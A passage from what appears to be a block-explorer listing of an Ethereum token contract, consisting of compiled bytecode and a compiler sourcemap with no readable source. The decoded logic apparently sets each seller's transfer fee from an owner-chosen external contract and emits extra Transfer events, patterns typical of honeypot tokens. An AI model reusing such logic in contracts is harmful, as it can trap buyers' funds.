1517611eb157611eb0611e17565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611eef82611773565b9150611efa83611773565b925082611f0a57611f09611eb8565b5b828204905092915050565b5f611f1f82611773565b9150611f2a83611773565b9250828201905080821115611f4257611f41611e17565b5b9291505056fea264697066735822122074861b996bcefe32932ec70b500e3e4e0ba0454a31b39508af2ae6c3b3fd70ab64736f6c63430008180033

Deployed Bytecode

0x6080604052600436106100e7575f3560e01c80638da5cb5b11610089578063b6ac026011610058578063b6ac0260146102eb578063c9567bf914610301578063d5f394881461030b578063dd62ed3e14610335576100e7565b80638da5cb5b1461023357806395d89b411461025d5780639621473514610287578063a9059cbb146102af576100e7565b806323b872dd116100c557806323b872dd1461017b578063313ce567146101b757806370a08231146101e1578063715018a61461021d576100e7565b806306fdde03146100eb578063095ea7b31461011557806318160ddd14610151575b5f80fd5b3480156100f6575f80fd5b506100ff610371565b60405161010c91906116f5565b60405180910390f35b348015610120575f80fd5b5061013b600480360381019061013691906117a6565b610401565b60405161014891906117fe565b60405180910390f35b34801561015c575f80fd5b50610165610417565b6040516101729190611826565b60405180910390f35b348015610186575f80fd5b506101a1600480360381019061019c919061183f565b610420565b6040516101ae91906117fe565b60405180910390f35b3480156101c2575f80fd5b506101cb6104cc565b6040516101d891906118aa565b60405180910390f35b3480156101ec575f80fd5b50610207600480360381019061020291906118c3565b6104e1565b6040516102149190611826565b60405180910390f35b348015610228575f80fd5b50610231610527565b005b34801561023e575f80fd5b5061024761066e565b60405161025491906118fd565b60405180910390f35b348015610268575f80fd5b50610271610695565b60405161027e91906116f5565b60405180910390f35b348015610292575f80fd5b506102ad60048036038101906102a891906118c3565b610725565b005b3480156102ba575f80fd5b506102d560048036038101906102d091906117a6565b6107f5565b6040516102e291906117fe565b60405180910390f35b3480156102f6575f80fd5b506102ff61080b565b005b6103096109af565b005b348015610316575f80fd5b5061031f610eb0565b60405161032c91906118fd565b60405180910390f35b348015610340575f80fd5b5061035b60048036038101906103569190611916565b610ed5565b6040516103689190611826565b60405180910390f35b6060600a805461038090611981565b80601f01602080910402602001604051908101604052809291908181526020018280546103ac90611981565b80156103f75780601f106103ce576101008083540402835291602001916103f7565b820191905f5260205f20905b8154815290600101906020018083116103da57829003601f168201915b5050505050905090565b5f61040d338484610f57565b6001905092915050565b5f600154905090565b5f61042c84848461111a565b6104c184336104bc8560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115ba90919063ffffffff16565b610f57565b600190509392505050565b5f8060149054906101000a900460ff16905090565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ab906119fb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600b80546106a490611981565b80601f01602080910402602001604051908101604052809291908181526020018280546106d090611981565b801561071b5780601f106106f25761010080835404028352916020019161071b565b820191905f5260205f20905b8154815290600101906020018083116106fe57829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a9906119fb565b60405180910390fd5b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f61080133848461111a565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610898576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088f906119fb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036108f0575f80fd5b60095f9054906101000a900460ff161561093f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093690611a63565b60405180910390fd5b6109933060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661098e606461098060146001546115e090919063ffffffff16565b61162090919063ffffffff16565b61111a565b600160095f6101000a81548160ff021916908315150217905550565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a33906119fb565b60405180910390fd5b600960019054906101000a900460ff1615610a8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8390611acb565b60405180910390fd5b60095f9054906101000a900460ff16610aa3575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610afb575f80fd5b6001600960016101000a81548160ff021916908315150217905550610b443060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610f57565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bae573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bd29190611afd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c58573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c7c9190611afd565b6040518363ffffffff1660e01b8152600401610c99929190611b28565b6020604051808303815f875af1158015610cb5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cd99190611afd565b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610d60306104e1565b5f80610d6a61066e565b426040518863ffffffff1660e01b8152600401610d8c96959493929190611b91565b60606040518083038185885af1158015610da8573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610dcd9190611c04565b50505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e6d929190611c54565b6020604051808303815f875af1158015610e89573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ead9190611ca5565b50565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbc90611d40565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611033576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102a90611dce565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161110d9190611826565b60405180910390a3505050565b5f8111611125575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361115c575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611193575f80fd5b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111eb575f80fd5b5f600854905060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561127a57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561131b5760025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b81526004016112d991906118fd565b602060405180830381865afa1580156112f4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113189190611dec565b90505b61136b8260065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115ba90919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506114336113d560646113c784866115e090919063ffffffff16565b61162090919063ffffffff16565b6114258460065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461164590919063ffffffff16565b6115ba90919063ffffffff16565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461154f578273ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115469190611826565b60405180910390a35b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115ac9190611826565b60405180910390a350505050565b5f828211156115c7575f80fd5b5f82846115d49190611e44565b90508091505092915050565b5f8083036115f0575f905061161a565b5f82846115fd9190611e77565b905082848261160c9190611ee5565b14611615575f80fd5b809150505b92915050565b5f80821161162c575f80fd5b5f82846116399190611ee5565b90508091505092915050565b5f8082846116539190611f15565b905083811015611661575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156116a2578082015181840152602081019050611687565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6116c78261166b565b6116d18185611675565b93506116e1818560208601611685565b6116ea816116ad565b840191505092915050565b5f6020820190508181035f83015261170d81846116bd565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61174282611719565b9050919050565b61175281611738565b811461175c575f80fd5b50565b5f8135905061176d81611749565b92915050565b5f819050919050565b61178581611773565b811461178f575f80fd5b50565b5f813590506117a08161177c565b92915050565b5f80604083850312156117bc576117bb611715565b5b5f6117c98582860161175f565b92505060206117da85828601611792565b9150509250929050565b5f8115159050919050565b6117f8816117e4565b82525050565b5f6020820190506118115f8301846117ef565b92915050565b61182081611773565b82525050565b5f6020820190506118395f830184611817565b92915050565b5f805f6060848603121561185657611855611715565b5b5f6118638682870161175f565b93505060206118748682870161175f565b925050604061188586828701611792565b9150509250925092565b5f60ff82169050919050565b6118a48161188f565b82525050565b5f6020820190506118bd5f83018461189b565b92915050565b5f602082840312156118d8576118d7611715565b5b5f6118e58482850161175f565b91505092915050565b6118f781611738565b82525050565b5f6020820190506119105f8301846118ee565b92915050565b5f806040838503121561192c5761192b611715565b5b5f6119398582860161175f565b925050602061194a8582860161175f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061199857607f821691505b6020821081036119ab576119aa611954565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6119e5602083611675565b91506119f0826119b1565b602082019050919050565b5f6020820190508181035f830152611a12816119d9565b9050919050565b7f416c726561647920696e697469616c697a6564000000000000000000000000005f82015250565b5f611a4d601383611675565b9150611a5882611a19565b602082019050919050565b5f6020820190508181035f830152611a7a81611a41565b9050919050565b7f54726164696e6720616c7265616479206f70656e65642e0000000000000000005f82015250565b5f611ab5601783611675565b9150611ac082611a81565b602082019050919050565b5f6020820190508181035f830152611ae281611aa9565b9050919050565b5f81519050611af781611749565b92915050565b5f60208284031215611b1257611b11611715565b5b5f611b1f84828501611ae9565b91505092915050565b5f604082019050611b3b5f8301856118ee565b611b4860208301846118ee565b9392505050565b5f819050919050565b5f819050919050565b5f611b7b611b76611b7184611b4f565b611b58565b611773565b9050919050565b611b8b81611b61565b82525050565b5f60c082019050611ba45f8301896118ee565b611bb16020830188611817565b611bbe6040830187611b82565b611bcb6060830186611b82565b611bd860808301856118ee565b611be560a0830184611817565b979650505050505050565b5f81519050611bfe8161177c565b92915050565b5f805f60608486031215611c1b57611c1a611715565b5b5f611c2886828701611bf0565b9350506020611c3986828701611bf0565b9250506040611c4a86828701611bf0565b9150509250925092565b5f604082019050611c675f8301856118ee565b611c746020830184611817565b9392505050565b611c84816117e4565b8114611c8e575f80fd5b50565b5f81519050611c9f81611c7b565b92915050565b5f60208284031215611cba57611cb9611715565b5b5f611cc784828501611c91565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611d2a602483611675565b9150611d3582611cd0565b604082019050919050565b5f6020820190508181035f830152611d5781611d1e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611db8602283611675565b9150611dc382611d5e565b604082019050919050565b5f6020820190508181035f830152611de581611dac565b9050919050565b5f60208284031215611e0157611e00611715565b5b5f611e0e84828501611bf0565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611e4e82611773565b9150611e5983611773565b9250828203905081811115611e7157611e70611e17565b5b92915050565b5f611e8182611773565b9150611e8c83611773565b9250828202611e9a81611773565b91508282048414831517611eb157611eb0611e17565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611eef82611773565b9150611efa83611773565b925082611f0a57611f09611eb8565b5b828204905092915050565b5f611f1f82611773565b9150611f2a83611773565b9250828201905080821115611f4257611f41611e17565b5b9291505056fea264697066735822122074861b996bcefe32932ec70b500e3e4e0ba0454a31b39508af2ae6c3b3fd70ab64736f6c63430008180033

Deployed Bytecode Sourcemap

1268:4412:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2586:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3231:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2772:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4597:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2871:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3393:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1532:148:3;;;;;;;;;;;;;:::i;:::-;;1759:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2677:87:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2480:98;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4861:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2962:261;;;;;;;;;;;;;:::i;:::-;;3996:593;;;:::i;:::-;;1786:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3854:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2586:83;2623:13;2656:5;2649:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2586:83;:::o;3231:150::-;3297:4;3314:37;3323:10;3335:7;3344:6;3314:8;:37::i;:::-;3369:4;3362:11;;3231:150;;;;:::o;2772:91::-;2816:7;2843:12;;2836:19;;2772:91;:::o;4597:256::-;4686:4;4703:36;4713:6;4721:9;4732:6;4703:9;:36::i;:::-;4750:73;4759:6;4767:10;4779:43;4815:6;4779:11;:19;4791:6;4779:19;;;;;;;;;;;;;;;:31;4799:10;4779:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;4750:8;:73::i;:::-;4841:4;4834:11;;4597:256;;;;;:::o;2871:83::-;2912:5;2937:9;;;;;;;;;;;2930:16;;2871:83;:::o;3393:110::-;3450:7;3477:9;:18;3487:7;3477:18;;;;;;;;;;;;;;;;3470:25;;3393:110;;;:::o;1532:148:3:-;1123:10;1113:20;;:6;;;;;;;;;;:20;;;1105:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;1639:1:::1;1602:40;;1623:6;::::0;::::1;;;;;;;;1602:40;;;;;;;;;;;;1670:1;1653:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1532:148::o:0;1759:79::-;1797:7;1824:6;;;;;;;;;;;1817:13;;1759:79;:::o;2677:87:0:-;2716:13;2749:7;2742:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2677:87;:::o;2480:98::-;1123:10:3;1113:20;;:6;;;;;;;;;;:20;;;1105:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;2561:9:0::1;2550:8;;:20;;;;;;;;;;;;;;;;;;2480:98:::0;:::o;4861:156::-;4930:4;4947:40;4957:10;4969:9;4980:6;4947:9;:40::i;:::-;5005:4;4998:11;;4861:156;;;;:::o;2962:261::-;1123:10:3;1113:20;;:6;;;;;;;;;;:20;;;1105:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;3052:1:0::1;3032:22;;:8;;;;;;;;;;;:22;;::::0;3023:32:::1;;;::::0;::::1;;3075:11;;;;;;;;;;;3074:12;3066:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;3121:65;3139:4;3146:8;;;;;;;;;;;3156:29;3181:3;3156:20;3173:2;3156:12;;:16;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;3121:9;:65::i;:::-;3211:4;3197:11;;:18;;;;;;;;;;;;;;;;;;2962:261::o:0;3996:593::-;1123:10:3;1113:20;;:6;;;;;;;;;;:20;;;1105:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;4068:14:0::1;;;;;;;;;;;4067:15;4059:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;4129:11;;;;;;;;;;;4121:20;;;::::0;::::1;;4180:1;4160:22;;:8;;;;;;;;;;;:22;;::::0;4152:31:::1;;;::::0;::::1;;4211:4;4194:14;;:21;;;;;;;;;;;;;;;;;;4226:58;4243:4;4258:10;;;;;;;;;;;4271:12;;4226:8;:58::i;:::-;4319:10;;;;;;;;;;;:18;;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4306:45;;;4360:4;4367:10;;;;;;;;;;;:15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4306:79;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4295:8;;:90;;;;;;;;;;;;;;;;;;4396:10;;;;;;;;;;;:26;;;4430:9;4449:4;4455:24;4473:4;4455:9;:24::i;:::-;4481:1;4483::::0;4485:7:::1;:5;:7::i;:::-;4493:15;4396:113;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;4527:8;;;;;;;;;;;4520:24;;;4553:10;;;;;;;;;;;4566:14;4520:61;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;3996:593::o:0;1786:23::-;;;;;;;;;;;;;:::o;3854:134::-;3926:7;3953:11;:18;3965:5;3953:18;;;;;;;;;;;;;;;:27;3972:7;3953:27;;;;;;;;;;;;;;;;3946:34;;3854:134;;;;:::o;3511:335::-;3621:1;3604:19;;:5;:19;;;3596:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3702:1;3683:21;;:7;:21;;;3675:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3784:6;3754:11;:18;3766:5;3754:18;;;;;;;;;;;;;;;:27;3773:7;3754:27;;;;;;;;;;;;;;;:36;;;;3822:7;3806:32;;3815:5;3806:32;;;3831:6;3806:32;;;;;;:::i;:::-;;;;;;;;3511:335;;;:::o;5025:652::-;5122:1;5113:6;:10;5105:19;;;;;;5159:1;5143:18;;:4;:18;;;5135:27;;;;;;5195:1;5181:16;;:2;:16;;;5173:25;;;;;;5225:8;;;;;;;;;;;5217:16;;:4;:16;;;5209:25;;;;;;5245:15;5263:4;;5245:22;;5290:8;;;;;;;;;;;5282:16;;:4;:16;;;;:41;;;;;5318:4;5302:21;;:4;:21;;;;5282:41;5278:120;;;5357:12;;;;;;;;;;;5350:30;;;5381:4;5350:36;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5340:46;;5278:120;5426:27;5446:6;5426:9;:15;5436:4;5426:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;5408:9;:15;5418:4;5408:15;;;;;;;;;;;;;;;:45;;;;5480:59;5510:28;5534:3;5510:19;5521:7;5510:6;:10;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;5480:25;5498:6;5480:9;:13;5490:2;5480:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;:29;;:59;;;;:::i;:::-;5464:9;:13;5474:2;5464:13;;;;;;;;;;;;;;;:75;;;;5560:8;;;;;;;;;;;5554:14;;:2;:14;;;5550:78;;5605:2;5586:30;;5595:8;;;;;;;;;;;5586:30;;;5609:6;5586:30;;;;;;:::i;:::-;;;;;;;;5550:78;5658:2;5643:26;;5652:4;5643:26;;;5662:6;5643:26;;;;;;:::i;:::-;;;;;;;;5094:583;5025:652;;;:::o;282:148:5:-;340:7;373:1;368;:6;;360:15;;;;;;386:9;402:1;398;:5;;;;:::i;:::-;386:17;;421:1;414:8;;;282:148;;;;:::o;89:185::-;147:7;176:1;171;:6;167:23;;187:1;180:8;;;;167:23;200:9;216:1;212;:5;;;;:::i;:::-;200:17;;245:1;240;236;:5;;;;:::i;:::-;:10;228:19;;;;;;265:1;258:8;;;89:185;;;;;:::o;594:147::-;652:7;684:1;680;:5;672:14;;;;;;697:9;713:1;709;:5;;;;:::i;:::-;697:17;;732:1;725:8;;;594:147;;;;:::o;438:148::-;496:7;516:9;532:1;528;:5;;;;:::i;:::-;516:17;;557:1;552;:6;;544:15;;;;;;577:1;570:8;;;438:148;;;;:::o;7:99:6:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6